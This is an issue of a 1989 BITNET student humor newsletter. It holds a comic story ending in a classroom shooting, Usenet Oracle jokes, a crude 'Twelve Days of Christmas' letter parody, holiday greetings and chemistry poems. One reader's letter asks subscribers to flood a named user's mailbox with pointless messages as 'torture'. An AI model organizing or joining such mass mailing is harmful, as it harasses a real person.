support. Someone to ask me a question, so the little
scavengers will know how smart I am."
"Where, Jack? When?"
"It's this Friday, HSS 121. It's um.... it's a 7:50."
"Jesus. Have they got you teaching freshman
composition?"
"Not for long, not if you'll do this for me, they can't
keep me there. By spring, I'll be in Elizabethan Poetry."
I started making my way to the door. If this turned
ugly, a fast exit would be necessary.
"Maybe Jack. I'll see if I can make it." I wasn't
promising to be up at 7:50 for anybody. Not even Jack
Reese.
His voice trailed after me as I stepped into the
afternoon heat.
"You better be there! You owe me! What about
'Nam?"
I wasn't fully aware that I was awake until I actually
stumbled into the classroom. Packing the usual equipment
for the first day in a new class; shorts, flip-flops, shades,
coffee. It was hotter than a Kiss concert in the room. What
was I doing here? I mulled that over as the rest of the class
began to filter in. Christ on a mo-ped, they look so young!
They look like...freshmen?! Now I remember. Mad Jack
and his attempt to return to administrative bliss. The quest
for bueracratic power. And I'm here mixed in the middle.
It seems prudent to slip to one of the back seats. Easy
enough, the rest of my classmates are filling up the front
rows. Virgins. They'll learn.
Jack's entrance catches me checking to make sure the
window is open. Just in case. For a change he looks clear-
eyed. No blood-shot squints from doing tequila shooters all
night. A little dust around the nostrils maybe, but overall
not bad. He's dressed to depress, tweeds, suede elbow
patches, over what looks suspiciously like a flak-jacket.
He walks to the podium and sets his briefcase on a
nearby desk. What does he have in that thing? It bulges in
strange ways, rustling as if it held a dwarven wolverine. His
eyes immediately find mine, like a doberman finding a fire
hydrant.
"Ah, good morning class. It's, ah, good to see so
many, ah, reassuring faces here, this morning, in class."
Silence from the kids. I sink lower, if that's possible,
in my seat.
"My name is Jack, ah, Professor Reese, and I'll be
your instructor for this quarter. I have an alphabetical
seating chart prepared for us, so if we can, ah, find our new
seats, we can call roll."
What was with this "we" and "us" bullshit? The kids
stood up and shuffled around. Excellent targets should Jack
start firing into the crowd.
"Um, excuse me, but I think you're in my seat."
Books and backpack, calculator and comb squint at
me from above.
I grunted, scratched my chest and drank a sip of
coffee. Protective coloration. He moved on. As the furor of
seat shuffles calmed, Jack-boy started calling roll. He stared
down at a computer printout, never looking up to notice
one kid answering for three people. He finished and
looked up at the class. Looked at me.
"Well, ah, perhaps we should start by going around
the class, each student giving his or her name, class and
major."
Good Jack, good idea. That'll warm 'em up. Right.
Introductions droned as I considered his start. He was just
coasting. Could he handle it when the class really started?
Could he manage the furious pace of non-stop give and take
of education in a freshman comp class? Could he lick the
seamy underside of a freshman's... Why is everyone
looking at me? Oh. Right. My turn.
"Harrison, fifth-year student, undecided." The frosty
gleam in The Reese-cup's eyes told me I was less than
appreciated. He had me here for moral support and I had
better start to produce. I sat and considered my options to
the whine of concluding introductions.
Paperwork started filtering around the desks.
Sylabii, grading scales, office hours, all on paper the color
of Jack's tie.
"Before we get started, are there any questions you
would like to ask?"
Shit. This was it. He stared at me furiously. The time
had come to set Jack up with a question that would let him
show his stuff. He needed it now. His hands were steady, his
hair was smoothly in place, his eyes clear and bright, his
age spots covered with Maybelline. If he was ever to
impress and intimidate these bovine intellects, now was the
time. I raised my hard.
"Yes, you have a question? Please, don't be shy,
we're all listening."
A question, then. Jack needed a set so smooth that he
can't fail to spike right through their egos. A volley that
would allow him to dazzle and impress the dullest of wits
with his return. A query that would permit Jack Reese,
demigod on terra firma, to display his superiority over all
mankind. Right.
"Do you consider the implications John Milton
makes on the purpose and value of evil in Paradise Lost to
be found or espoused in Dante Aligheri's Divine Comedy,
and if so why?"
His hands started to palsy, his hair slipped slowly out
of place, his eyes glazed over, his leg began to tremor and
his age spots flushed a bright mauve. I reached for my
coffee.
"Well, ah, in response to that, let me just say that, ah,
you see that, ah... *WELL WHAT THE HELL DO YOU WANT
FROM ME ANYWAY ?!?!"
Shit, he's lost it. He makes a dash for his bag and
smoke erupts from somewhere. I throw myself to the floor
as gunshots ricochet off the cinderblock walls. Jesus, Jack
brought his Uzi to class. A small pig scurries past me on the
floor as I start to drag myself towards the window. Some
kids run for the door, finding Reese locked it as he came in,
some fall to the floor and pray for mercy, others merely sit
and ask if this material will be on the test.
Sparks fly from a hit light fixture and the smoke
clears just enough for me to get a last look at Jack as I make
my escape. He's sitting on the floor, weeping openly,
stroking a stunted pig and mummering in her ear,
"Rosebud, rosebud." Out of control. Crash and burn. Just
like in 'Nam.
I dropped out of the window and tried to walk away
inconspicuously, drinking what remained of my coffee.
Students moved toward the building, smoke belched from
the windows, sirens wailed to the rescue. It was over now, I
suppose. Jack Reese was a relic of the past, a broken
reminder of the era of Maddog Ed and his Bad Boys. I
would like to say he was my friend, but you know... I don't
think any of us ever really knew him.
Harrison Fowler is a fifth-year, undecided who swears this
will all really happen.
Harrison Fowler is also one of many pseudonyms I use for writing
in a local underground paper, "The Lame Monkey Manifesto."
Comments, criticisms, monetary rewards?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
This space intentionally left #CENSORED#.
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
The Usenet Oracle has pondered your question deeply.
Your question was:
> A friend asks: why do we pay $20,000 to work our butts off?
> (that's verbatim).
And in response, thus spake the Oracle:
} An enemy replies: "It's not nearly enough!"
}
} A surrealist replies: "The stir-fried threepenny nails! Can they help
} me twice?"
}
} A politician replies: "It is very important that we maintain the
} ultimate objectives clearly in mind, while at the same time
} nonwithstanding continuing to remember the intended payoff at the end,
} and the preservation for future generations of all the things we hold
} dear, especially the flag which you can see that I am wearing as
} underwear because I do not wish to ever be parted from its sacred
} folds."
}
} You owe the oracle a large cheeseburger, with flags.
--------------------------------------------------------------------------
> Why aren't men and women created equal?
And in response, thus spake the Oracle:
} To give them something to do in their spare time.
}
} I know what you're thinking, but don't be misled. Humans spend a small
} amount of time engaged in sex, and an inordinate amount of time
} wondering about it, worrying about it, reading about it, watching it on
} television and in films, and participating in various activities to
} sublimate the desire for it. Given that the average human male lasts
} less than three minutes after penetration has taken place, the ratio of
} time spent thinking about sex to the amount of time spent engaged in sex
} is greater than 500 to 1. If sex did not occupy the human mind, then
} hate, paranoia, and the solutions to most of the world's problems would
} certainly settle in.
}
} You owe the Oracle one pornographic magazine and one condom.
--------------------------------------------------------------------------
> When is the end of the world, any signs?
And in response, thus spake the Oracle:
} It's hard to believe that no human has guessed the signs of the
} apocalypse, considering the huge amount of time and energy spent
} considering the prospect. The end of the world will occur when
} literally hundreds of humans construct and detonate their own nuclear
} warheads in a vain attempt to rid themselves of the tremendous, mind-
} numbing boredom that has pervaded their lives. The signs that precede
} this:
}
} -- Popular comedy television shows will cease to be funny and will
} start moralizing about any random social problem.
}
} -- Tens of thousands of people will file into stadiums and arenas to
} watch men over 50 years of age perform "rock and roll".
}
} -- Most governments of the world will outlaw recreational drugs and
} start simplistic, dogmatic propaganda campaigns to support their
} position.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nothing whatever?!? NOTHING WHATEVER!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SUBMIT! SUBMIT! Bend to my will! Know the sweet, sublime pleasure of
complete and willful obadience (Not a mistype) to your demonic master!
(This has been a thinly veiled attempt to get people to send me stuff...
I wonder if it will work? -Pat)
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
Still nothing on this front.... (Hint Hint!)
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
Will be sent under separate cover. As soon as I get it from Darkling.
--------------------------------------------------------------------------------
The Not So Pointy Or 'Nointy Issue - The Not So Pointy Or 'Nointy Issue - The No
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-- Christmas Issue and Last Issue of the 1980's! Wow, eh? Pretty hefty stuff! --
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_ /\ _ _ /\ _
/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \
\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/
/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
/__________\ M M 0000 0000 SSSSS EEEEEEE /__________\
DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #36| Disclaimer: The Editors will place almost anything in |Dec. 16, 1989
---------- this newsletter out of a frantic desire to fill the --------------
issue, so don't blame them for the quality or content of the submissions. Except
-ing those they may have written themselves, the enclosed items do not in any
way represent the Editors' fnord opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
************************************* STAFF ************************************
--------------------------------------------------------------------------------
Editor - Patrick Salsbury <V291NHTP@UBVMS.BITNET>
Submissions to: DangerM00se <V291NHTP@UBVMS.BITNET>
Back issue requests: Max Handelsman <MHANDELS@DREW.BITNET>
and Johnathan Clemens <FSJPC@ALASKA.BITNET>
or <FSJPC@ACAD3.FAI.ALASKA.EDU>
AND Joanne Rosenshein <JROSENSH@SBCCVM.BITNET>
M00se List updates and changes: Darkling M00se <V123NKUX@UBVMS.BITNET>
(This space to let): Contact WarM00se <V291NHTP@UBVMS.BITNET>
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Heigh-ho! Heigh-ho!
It's off to tests we go!
But now, to relieve
the Finals Week Blues,
Here's a new issue
...uh...
FOR ALL OF YOUSE! :)
Why's this in rhyme? I haven't the time, to figure out questions like
that! Etc. etc. etc.....
Hi all!
Well, here it is, the final issue of M00se Droppings for this month,
semester, year, and DECADE! (Feeling old? Fnord.)
Happy Holidays to everyone! I'll "see" you all next decade! (Of course,
THEY are watching you all the time! Fnord.)
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From Jonathan Clemens <FSJPC@ALASKA.BITNET>
Fellow M00ses:
I have a favor to ask. While working on the computer system here in
Alaska, I have been constantly pestered by a relatively bothersome user. I keep
getting volumes of mail from her saying such things as "Hi Jon!" or "How are you
today?" and nothing else. It has gotten MORE than annoying.
I wish to call upon my fellow m00ses for a boon. I think the time has
come to subject this user to summary "Torture by M00se Mailing." She doesn't
have Bitnet access, so she won't be able to respond to the flood of mail we can
send her. I would like all m00ses who read this to send at least one (1) mail
message to FSEJR@ALASKA.BITNET saying somthing stupid like "Hi Erica!" or "Merry
Christmas, Erica!", or "Is is cold up there in Alaska?"
Imagine a mail junkie getting dozens of sensless mail messages, and
being unable to reply to any of them. Can you think of a worse torture? (if so,
send it to FSJPC@ALASKA)
Thank you all! I really appreciate this! :)
Bl000000000000000000p. ;^)
-Jonathan
JPC/pgs
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From WALL@SBCCVM.BITNET
he knows when you are sleeping
he knows when you're awake
he knows if you've been good or bad.....
santa sounds like the NSA
wall
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From KRWALKER@AMHERST.BITNET
*** The Twelve Days of Christmas (exact author unknown)
Miss Agnes McHolstein
69 Cash Ave.
Beaver Valley, CO
Dec. 14, 1986
My Darling,
I went to the door today and the postman delivered a "Partridge in a pear
tree". What a thoroughly delightful gift. I couldn't have been more surprised.
You're an angel.
With all my love and devotion,
Agnes
-
------------------------------------------------------------------------
Miss Agnes McHolstein
69 Cash Ave.
Beaver Valley, CO
Dec. 15, 1986
Darling,
Today, the postman brought your very sweet gift. Just imagine "Two turtle
doves". I'm delighted at your very thoughtful gift. They are adorable and I
love you for them.
All my love,
Agnes
-
------------------------------------------------------------------------
Miss Agnes McHolstein
69 Cash Ave.
Beaver Valley, CO
Dec. 16, 1986
Dear Fred,
Oh! Aren't you the extravagant one? Now I really must protest. I don't
deserve such generosity as "Three French hens". They are just darling but I
must insist, you've been too kind.
Love,
Agnes
-
------------------------------------------------------------------------
Miss Agnes McHolstein
69 Cash Ave.
Beaver Valley, CO
Dec. 17, 1986
Dear Fred,
Today the postman delivered "Four calling birds". Now really, they are
beautiful but don't you think enough is enough? You're being too romantic.
Affectionately,
Agnes
-
------------------------------------------------------------------------
Miss Agnes McHolstein
69 Cash Ave.
Beaver Valley, CO
Dec. 18, 1986
Dearest Fred,
What a surprise! The postman just delivered the "Five golden rings"; one
for every finger. You're just impossible, but I love it. Frankly, all those
birds squawking were beginning to get on my nerves.
All my love,
Agnes
-
------------------------------------------------------------------------
Miss Agnes McHolstein
69 Cash Ave.
Beaver Valley, CO
Dec. 19, 1986
Dear Fred,
I couldn't believe my eyes this morning as I walked out onto the front
porch and there were "Six geese a laying" on my front steps. So you're back
to the birds again - huh? Those geese are huge. Where will I ever keep them?
The neighbors are complaining and I can't sleep through the racket. I love
your thoughtfulness, but -
Please Stop!
Cordially,
Agnes
-
------------------------------------------------------------------------
Miss Agnes McHolstein
69 Cash Ave.
Beaver Valley, CO
Dec. 20, 1986
Fred,
What's with you and those fucking birds??? Today I received "Seven swans
a swimming". What kind of a goddamn joke is this? These birds shit all over
the house and they never stop with that awful goddamn racket. I can't sleep
at night and I'm a nervous wreck.
Stop your laughing damn you! It's not funny. Just knock it off with
those fucking birds, OK?????
Sincerely,
Agnes
-
------------------------------------------------------------------------
Miss Agnes McHolstein
69 Cash Ave.
Beaver Valley, CO
Dec. 21, 1986
OK Buster,
I think I prefer the birds. What the hell am I going to do with "Eight
maids a milking"?? It's not enough with all those birds and the 8 maids
milking, but they had to bring their goddamn cows! There is shit all over the
lawn and I can't even move in my own house. Just lay off me, smartass!!
Agnes
-
------------------------------------------------------------------------
Miss Agnes McHolstein
69 Cash Ave.
Beaver Valley, CO
Dec. 22, 1986
Hey Shithead,
What are you??? Some kind of sadist??? Now I've got "Nine pipers
playing" and Christ do they play! They haven't stopped chasing those maids
since they've arrived this morning. The cows are getting upset and they're
stepping all over the screeching fucking birds. What the hell am I going to
do?? The neighbors have already started a petition to have me evicted.
You'll get yours, bastard,
Agnes
-
------------------------------------------------------------------------
Miss Agnes McHolstein
69 Cash Ave.
Beaver Valley, CO
Dec. 23, 1986
You Rotten Prick,
Who in hell needs "Ten ladies dancing"?? I can't imagine why I call these
sluts "ladies". They've been balling the pipers all night long. Now the cows
can't sleep and all the goddamn racket around here has given them diarrhea.
My living room is a river of shit! The Commisioner of Bldgs. has subpoenaed
me to give cause why the building should not be condemned!
I'm sicking the police on you, asshole!
One who means it!!!
-
------------------------------------------------------------------------
Miss Agnes McHolstein
69 Cash Ave.
Beaver Valley, CO
Dec. 24, 1986
Listen Fuckhead,
What's with the "Eleven lords a leaping" on those maids and ladies??? Some
of these poor broads will never walk again. The pipers ravaged the maids,
gang-banged the ladies, and now are committing sodomy on the cows. All 23
birds are dead. They were trampled to death in the orgy. I hope you're
satisfied, you rotten vicious bastard!
I hate your guts, dumbshit,
Agnes
-
------------------------------------------------------------------------
Law Offices
Badger, Bender & Cahole
303 Knave Street
Chicago, IL
December 26, 1986
Dear Sir:
This is to acknowledge your latest gift "Twelve fiddlers fiddling" which
you have seen fit to inflict on our client, Miss Agnes McHolstein. As you
no doubt have guessed, the destruction of her property was total. You are
advised that all future correspondence with our client should be cleared
through this office.
I feel compelled to warn you that if you should attempt to reach Miss
McHolstein at Happy Dale Sanitarium, the attendants of that institution have
instructions to shoot you on sight. With this letter please find attached a
warrant for your arrest.
Season's Greetings,
J. Frank Cahole
Attorney
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
I've been checking on the mythical M00se Illuminati Shirts, and the guy
who was going to do them is in England until Fnord knows when.
BUT! I have a friend here in Buffalo who makes shirts, so I'll see if we
can whip up something nifty! :)
Stay tuned....
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Keep sending in submissions, as I'll need em next mon/sem/year/decade.
Else you'll all keep reading stuff I dig out of my subdirectories! Heh heh heh!
:)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
HAVE YOU EVERRRRR NOTICED:
(for a bit o' holiday cheer)
SANTA CLAUS?
Yes, Santa is a long-standing tradition in our typically bland American
society, and stands as a watchdog of current morality. But think for a moment.
What IS this Santa Claus?
1) A pagan tradition. Even St. Nickolas (or however you spell his name)
is a pagan tradition adopted by the Catholic Church upon contact with the
germanic tribes of the north. He's a PAGAN.
2) He is a capitalist moneymonger. What better way to brainwash small
children into blind faith in a capitalistic society than to reward "proper"
social behavior with gifts that ultimately do little except feed the capitalist
imperialist society more and more--and love of money distracts men from the
true meaning of Christmas.
3) He is a voyeur. "He knows when you are sleeping/He knows when you're
awake". Need I say more?
4) He wears a red suit.
5) Have you ever examined the letters that comprise his name? S. A. N.
T. A.. Rearranged, they give us his true identity:
SATAN!!!!!!!!
Think about it--red suit? pagan? voyeuristic? capitalistic? claus? It can
all mean only one thing. Santa Claus is the devil himself. Watch and beware
of his evil influences this holiday season. Merry whatever. :)
---the Talking Drumm00se
<ARD90@GENESEO.BITNET>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(From ANTEK@TAMBIGRF.BITNET)
For everybody - Christmas greetings in :
Armenian...Shenoraavor Nor Dari yev Pari Gaghand
Azeri-Azerbaijan...Tezze Iliniz Yahsi Olsun
Basque..Zorionstsu Eguberri. Zoriontsu Berri Urte
Bulgarian...Tchestito Rojdestvo Hristovo. Tchestita Nova Godina
Chinese-Cantonese...Gun Tso Sun Tan'Gung Haw Sun
Chinese-Mandarin...Kung Ho Hsin Hsi. Ching Chi Shen Tan
Czech...Prejeme Vam Vesele Vanoce a stastny Novy Rok
Dutch...Zalig Kerstfeest en een Gelukkig Nieuwjaar
English... Merry Christmas and a Happy New Year
Estonian...Roomsaid Joulu Phui ja Uut Aastat
Finnish...Hyvaa Joulua ja Onnellista Uutta Voutta
French..Joyeux Noel et heureuse Anne
Gaelic-Irish..Nolag mhaith Dhuit Agus Bliain Nua Fe Mhaise
Gaelic-Scot..Nollaig Chridheil agus Bliadhna Mhath Ur
German..Frohliche Weihnachten und ein Glueckliches Neues Jahr
Greek...Kala Khristougena kai Eftikhes to Neon Ethos
Hawaiian...Mele Kalikimake me ka Hauloi Makahiki hou
Hebrew..Mo'adim Lesimkha
Hungarian...Boldog Karacsonyl es Ujevl Unnepeket
Icelandic..Gledlig jol og Nyar
Indonesian..Selamah Tahun Baru
Italian..Buon Natalie e felice Capo d'Anno
Japanese..Shinnen omedeto. Kurisumasu Omedeto
Korean..Sung Tan Chuk Ha
Latvian...Priecigus Ziemas Svetkus un Laimigu Jauno Gadu
Lithuanian...linksmu sventu Kaledu ir Laimingu Nauju Metu
Norse-Danish...Gledlig jul og godt Nytt Aar
Polish...Wesolych Swiat Bozego Narodzenia i Szczesliwego Nowego Roku
Portuguese...Feliz Natal e propero Ano Novo
Rapa-Nui (Easter Island)..Mata-Ki-Te-Rangi. Te-Pito-O-Te-Henua
Romanian...Sarbatori Fericite. La Multi Ani
Russian...Pozdrevlyayu sprazdnikom Rozhdestva Khristova is Novim Godom
Samoan...La Maunia Le Kilisimasi Ma Le Tausaga Fou
Serb-Croatian...Sretam Bozic. Vesela Nova Godina
Singhalese (Sri Lanka)...Subha nath thalak Vewa. Subha Aluth Awrudhak Vewa
Slovak...Vesele Vianoce. A stastlivy Novy Rok
Slovene..Vesele Bozicne. Screcno Novo Leto
Spanish...Feliz Navidad y prospero Ano Nuevo
Swedish...Glad jul och ett gott Nytt ar
Tagalog (Filipino) .. Maligayamg Pasko. Masaganang Bagong Taon
Turkish...Yeni Yilnizi Kutar, saadetler dilerim
Ukrainian...Veselykh Svyat i scaslivoho Novoho Roku
Welsh..Nadolic Llawen. Blwyddn Newdd Dda
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
'Twas the night before Xmas
the lab was quite still
Not a bunsen was burning
(Nor had they the will).
The test tubes were placed
in their racks with great care
In hopes Father Chemistry
soon would be there.
The students were sleeping
so sound in their dorms
all dreaming of fluids
and crystalline forms.
Lab-aides in their aprons
and I in my smock
Were sitting, recov'ring
from semester-end shock.
When outside the lab
there arose such a roar
I leaped from my stool
and fell flat on the floor.
Out to the fire escape
all of us flew
What was the commotion?
None of us knew.
The flood lights shone out
o'er the campus so bright
It looked like old Stockholm
on Nobel Prize night.
My fume blinded eyes
then viewed (dare I say?)
Eight anions pulling
a water-trough sleigh.
And holding the bonds
tied to each one of them
Was a figure I knew
as our own Papa Chem.
With speeds in excess
of most X-rays they came
As they Dopplered along,
he called each one by name.
"Now, Nitrite, now Phosphate,
now Borate, now Chloride,
On Citrate, on Bromate,
on Sulfite and Oxide.
Forget what you know
of that randomness stuff,
Let's go straight to the roof,
if you've quanta enough."
As fluids Bernoullian
behave in a pinch
Those ions said, "Alchemist,
this is a cinch!"
So up to the lab-roof
those "chargers" they sped
With Pop Chemistry safe
in his water-trough sled.
Just a micro-sec later
Electroscopes showed
Charged particles coming
to our lab abode.
We raced back inside
And what do you think?
Down the fume-hood Pop Chem fell,
right into the sink.
He was dressed in a lab coat,
quite ragged and old
With removable buttons
(the style, we're told!)
A tray full of beakers
he clutched to his heart
And under his arm,
was an orbital chart.
His eyes, through his goggles,
I just couldn't see,
His hands were all yellow
from H-N-O-3.
His head was quite bald
with a fringe all around
Like a ring test for iron,
the same shade of brown.
He puffed a cigar
with a smell not at all
Unlike the organic lab
right down the hall.
The smoke billowed forth
from his angular face
And with Brownian movement,
enveloped the place.
He was thin as a match
and not terribly tall
He wasn't the type
I'd expect at all.
But a look at his clothes,
in the lab's harsh white light,
With their acid burned holes-
He's a chemist all right!
He didn't say much
(he had no time to kill)
And filled all the test tubes
with nary a spill.
Then placed them back
on the benches with care
He dashed to the fume hood
and rose through the air.
He called to his team
and his ions took off
And kinetics took care
of Pop Chem in his trough.
But I heard him cry out
as he flew down the street
"Merry Christmas to all,
may your stockrooms stay neat!"
Compliments of my old Chem prof!!
Irish DreamM00se
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Poems Written for Chemistry 103
by: The Mad Poet
*************************************************************************
Chem. 103
I think that I will never be
Awake for morning Chemistry.
The monotonal lecturing
Could put to sleep most anything.
While lofty theorems fall like rain,
My concentration starts to wane.
As I drift off, I wonder why
A lecture beats a lullaby.
Ode to a Chem. Prof.
A prof. who makes frequent mistakes
Likes to think that he has what it takes.
So he's made up a ruse
To cover his goofs -
He's just keeping his classes awake!
Classroom Chills
Through classes near and classes far,
Through classes new and old,
I wish that Building Maint'nance
Wouldn't keep the rooms so cold!
For even though I know the cold
Should keep us all awake,
Quite groggily I find that
I've begun to hibernate.
And as I watch my breath condense -
In steaming clouds it blows -
I realize I have icicles
A-forming on my nose.
The danger is that, though
My being here *might* help me pass,
*Survival* may be tough
With hypothermia in class!
Full-Professorship
The Doctor had a lecture class,
But he was such a dud
That every time he lectured there,
His words were clear as mud.
He didn't give a syllabus
To his befuddled class,
And actually he didn't care
If anybody passed.
If everybody failed -
Why it was in all of the rules -
He'd just go on next year
To fail another bunch of fools.
What rule could let him do this?
If you said, "It's age!" well then you're
Getting close because
What our dear Doctor has is *tenure*!
The Party
Please, oh my friends, please don't veto my plan.
Please don't just tell me to stow it.
I really don't think the professor would mind.
In fact, shucks, he just wouldn't know it.
I know you all want to be learning in class
About vectors and gas density,
But what would it hurt if you took the day off
And started a party with me?
We would smuggle refreshments inside our bookbags.
We'd have walkmans for music galore.
We would spread ourselves out there behind the back rows,
And party there on the floor!
We'd have chips and wine coolers and pretzels and beer,
Soda and pizza and wings.
We would listen to music and play five card stud -
Why, we could do most anything.
The professor's so out of it, he'd just teach class
To the few die hard students remaining.
I really don't think that he'd notice at all
That his classroom attendance was waning.
So please, oh my friends, please don't veto my plan:
You know how much fun it would be
To spread yourselves out there behind the back rows
And come have a party with me.
A Health Hazard
For those poor infirm members of our happy little class,
For those who carry books of more than half their body mass,
For those who, weak of heart and lung, do dwell upon these lines,
I have a word of warning you might ponder in your minds.
The Surgeon General has said that smoking isn't good,
And all of you have heard him, and yes, most have understood.
But yet another danger lurks! You should be made aware
Of the hazard that exists in climbing much too many stairs.
As you climb up, your pulse and breathing rates leap up so high,
That you can feel a heart attack is lurking just nearby.
Since you abuse your muscles, both your legs begin to cramp;
Because you sweat profusely, soon your clothing is quite damp.
The stairs outside the lecture hall: a good example, true,
And climbing all six flights of stairs cannot be good for you.
So all health-conscious students - never mind trying to pass!
You shouldn't risk a heart attack - unite and boycott class!
The Mad Poet is a creation of Kirsten Anderson, (LoreleiM00se) V123P62M@UBVMS
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
TWEEZE DENIED BEEF WORKER ISTHMUS
(twas the night before christmas)
Tweeze denied beef worker isthmus, winnow Trudy how's,
Snot agreed juries during, gnaw Tiffany moss.
This talking swear unbided Gemini wit cairn
Hint opus scenic (alas!) sinewy dare.
Unjelled runner nozzle tools smuggling deer butts
Well fissions unshoe kerplunks thence endear huts.
Anemometer cur chiffon dyeing mayhap,
Adjust subtle warp reins fairy loin winger snap.
Winnow taunted launderer roast sachet glitter
Ice brine bromide bet deucey woodwinds schemata.
Await Tudor widower blue lacking flesh,
Door roping tier shatters untrue hump these ash.
Demonian depressed often knew felines know
Gaffe cholesterol metier due abjects elope.
Wane wood tummy wandering ice shittah pear,
Vital men etchers lay mandate tidy Rainier.
Whittle it whole dolt river salival equipt,
Sinewy mom aunt isthmus bee-stain nicked.
Mere rabbit-torn evils whose gorses became
Any weaseled end shuttered, uncool tomboy maim.
"Node azure! No Dunce era! No France urine fixing!
Uncommit! And cubit! Andante ran vexing!
Toady tipoff deport chew detypify well!
Gnaw dish aweigh, dish aweigh, dish aweigh awl!"
Asked relieves dot beef forty whiled hurry queen fry,
Wind emit wooden apse stickle, mountie-desk eye,
Sew-up two-deep how stop duck horsers dubloon,
Witty slave fallow toils, ascend nickel loss due.
Ant tending at weakling - why hurt honor roof?
A brain sinning Boeing effete shiney huff.
Aside ruin mayhap untwist darning neuron
Bounding gym knee-scent knick (alas!) game winning pound.
Iwis tressed woolen furze promise etuis food,
Anus closed whorled varnished wood asses in suits.
Abound olived oils (egad!) flunk honor speck,
Any luck lockup addler chest (hope?) nimbus peck.
Assai Saudi twin calloused temples amore!
Exchequer lachryosis, whizz snows locket jury.
Estrual litter mouse wash thrown applique beau,
Amdahl biered honest Genesis weight hostess know.
Distempered ape pie pea yelled tiding is steed,
Undies mocha answer cul de sac lackey reed.
Egad! Abroad fastener litter hound bully
Achoo! quaintly left, lacking bull feeling jolly.
Iwis champion blimp -- arrayed chilly wool delve,
Any left whinney sow hymn, enspied off Moselle.
An oink office sigh unto whist office hood
Swoon gamey tonneau ahead knitting two tread.
Ease poke naught award, Beduoin strayed duets orc,
Infield eldest tuggings; interned witty chert,
End lioness fanger a sight office gnus,
Ant gibbon unknot, upon chimpanzee rows.
Hasp Rangoon is lay, due esteem guava wistful,
Ending weight day elf loo, lacking town ova tassle;
Buddy herding explain air hedge rowboat design,
"Hopping rich musty woolen due awl incondite!"
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Hey there! Hi there! Ho there! *SMACK* *SMACK* *SMACK*
(The Mickey Mouse Club in the Spanish Inquisition)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
--------------------------------------------------------------------------
The Usenet Oracle has pondered your question deeply.
Your question was:
> Why did I just shit in my pants? Did anyone else do it too?
And in response, thus spake the Oracle:
} Yes, most people in your area also did -- a low-frequency sound wave
} caused sympathetic vibrations that made many people lose control of
} their anal sphincters. Don't be ashamed!
[ed. note - Hmm! It appears THEY are developing NEW ways to control us!
I could envision lots of possibilities for crowd control fnord here! ;^) -Pat]
--------------------------------------------------------------------------
> Every night while she sleeps, my girlfriend slowly changes into a
> shapeless blob of pulsating flesh, still wrapped in her own skin. By
> morning she is herself again, and apparently none the wiser. Should I
> tell her about this?
And in response, thus spake the Oracle:
} Nah.
--------------------------------------------------------------------------
> I hope the Oracle has the answer to this most difficult question: Why
> does my 25 year old son keep seeing a girl that he has broken up with
> and only gives him grief? A puzzled mother wants to know!
And in response, thus spake the Oracle:
} Hold it, the Oracle needs to switch modes for this one. What was the
} magic word for the German Psychaiatrist again? Oh yes: Goot Zex! Goot
} Zex! Goot Zex! Goot..
}
} [blur blur blur]
}
} Ja! Dat ees much better! Vell, ve schall see joost vat ees vrong vit
} your son, Frau Vorryvart.
}
} He ees 25 years old, eh? I vould say dat he is doing just vhat he damn
} vell pleases, den! Actually, he ees seeing zis girl solely for der
} poorpose of making you und nutzkopf. You should haff never given him
} such a vhipping over that broken bowl vhen he vas drei years old.
}
} Actually, eef you vould just meet zis girl vitout your son around, you
} vould see she ain't so bat after all, eh?
}
} So, quit meddling vit his bizness, unt get on vit your more pressing
} matters, like vhen ees he going to produce some grandtchildren ver you
} und Herr Vorryvart.
}
} Now, how vas dat I get back to zee normal Oracle? Oh ja, Veert Answers!
} Veert Answers! Veert Answers! Veert...
}
} [blur blur blur]
}
} You owe the Oracle a better German accent.
--------------------------------------------------------------------------
> What would be a good question to ask you?
And in response, thus spake the Oracle:
} To start off, that WAS a good question.
}
} Other good questions include...
} Why is the soap dish always in line with the water in the shower?
} What is the correct response to "Thanks for calling!"
} What is the correct response to "What's up?"
} Do we have the right to an attorney being present on Judgment Day?
} Why did Ronald Reagan have to wait until AFTER he left office to
} have his brain fixed?
} Why do health food fanatics not look so healthy?
